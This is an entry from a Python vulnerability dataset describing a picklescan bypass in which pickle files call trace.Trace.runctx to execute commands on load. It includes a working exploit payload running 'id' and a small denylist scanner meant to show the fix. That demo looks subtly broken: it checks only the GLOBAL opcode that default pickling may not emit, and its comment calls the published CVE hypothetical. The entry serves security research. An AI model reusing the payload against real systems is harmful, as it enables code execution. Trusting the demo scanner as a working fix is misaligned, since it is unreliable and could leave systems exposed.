CVE-2025-71352
picklescan detection bypass via trace.Trace.runctx allows code execution.
- CVSS 7.6
- CWE-693
- Input Validation and Sanitization
- Remote
picklescan before 0.0.29 fails to detect the built-in Python trace.Trace.runctx function when used in pickle file reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files with trace.Trace.runctx payloads that bypass picklescan detection and execute code upon pickle.load() invocation.
- CWE
- CWE-693
- CVSS base score
- 7.6
- Published
- 2026-06-30
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- picklescan
- Fixed by upgrading
- Yes
Solution
Upgrade picklescan to version 0.0.29 or later.
Vulnerable code sample
import pickle
import trace
import os
class Exploit:
def __reduce__(self):
command = '__import__("os").system("echo Vulnerability CVE-2025-71352 Triggered")'
return (trace.Trace.runctx, (trace.Trace(), command, {}, {}))Patched code sample
import pickle
import pickletools
import trace
import io
import os
# The CVE-2025-71352 vulnerability is hypothetical. This code demonstrates
# how a fix for the described flaw in a security scanner like `picklescan`
# would be implemented. The fix involves updating a denylist of dangerous
# functions to include `trace.Trace.runctx`.
def fixed_scanner(pickle_data: bytes):
"""
Simulates a security scanner with the vulnerability fix applied.
It inspects pickle opcodes for dangerous `GLOBAL` imports, including the one
described in the CVE. An unfixed scanner would lack 'trace.runctx' in its
denylist and would fail to detect the payload.
"""
# The fix is to add 'trace.runctx' to the list of known dangerous functions.
# The pickle `GLOBAL` opcode resolves `trace.Trace.runctx` to module 'trace'
# and name 'runctx'.
DANGEROUS_GLOBALS = {
"os.system",
"subprocess.run",
# The line below represents the fix for CVE-2025-71352.
"trace.runctx",
}
try:
for opcode, arg, _ in pickletools.genops(pickle_data):
if opcode.name == "GLOBAL":
# The arg is in the format "module\nname"
full_name = arg.replace("\n", ".")
if full_name in DANGEROUS_GLOBALS:
print(f"FIX APPLIED: Detected dangerous global '{full_name}'")
return False # Unsafe
except Exception:
# Malformed pickle data could cause errors
return False # Unsafe
print("Scan complete: No known dangerous globals found.")
return True # Safe
if __name__ == "__main__":
# 1. Create a malicious pickle payload using the `trace.Trace.runctx` function.
# This payload would bypass a scanner that is not aware of this vector.
command = "echo '[DEMO] Malicious code executed via trace.Trace.runctx'"
malicious_obj = (
trace.Trace.runctx,
(trace.Trace(count=0), command, {}, {}),
)
malicious_data = pickle.dumps(malicious_obj)
print("--- Scanning malicious pickle data with the FIXED scanner ---")
is_safe = fixed_scanner(malicious_data)
if not is_safe:
print("\nThe scanner correctly identified the payload as unsafe.")
print("Execution was blocked by the scanner's detection.")
else:
# This block would execute if the scanner were NOT fixed.
print("\nScanner failed to detect the payload. Executing pickle.load():")
# The following line is the dangerous operation.
pickle.loads(malicious_data)Payload
import pickle
import trace
class Exploit:
def __reduce__(self):
command = '__import__("os").system("id")'
return (trace.Trace.runctx, (trace.Trace(), command, {}, {}))
# The malicious payload is the result of this serialization
malicious_payload = pickle.dumps(Exploit())
Cite this entry
@misc{vaitp:cve202571352,
title = {{picklescan detection bypass via trace.Trace.runctx allows code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-71352},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-71352/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
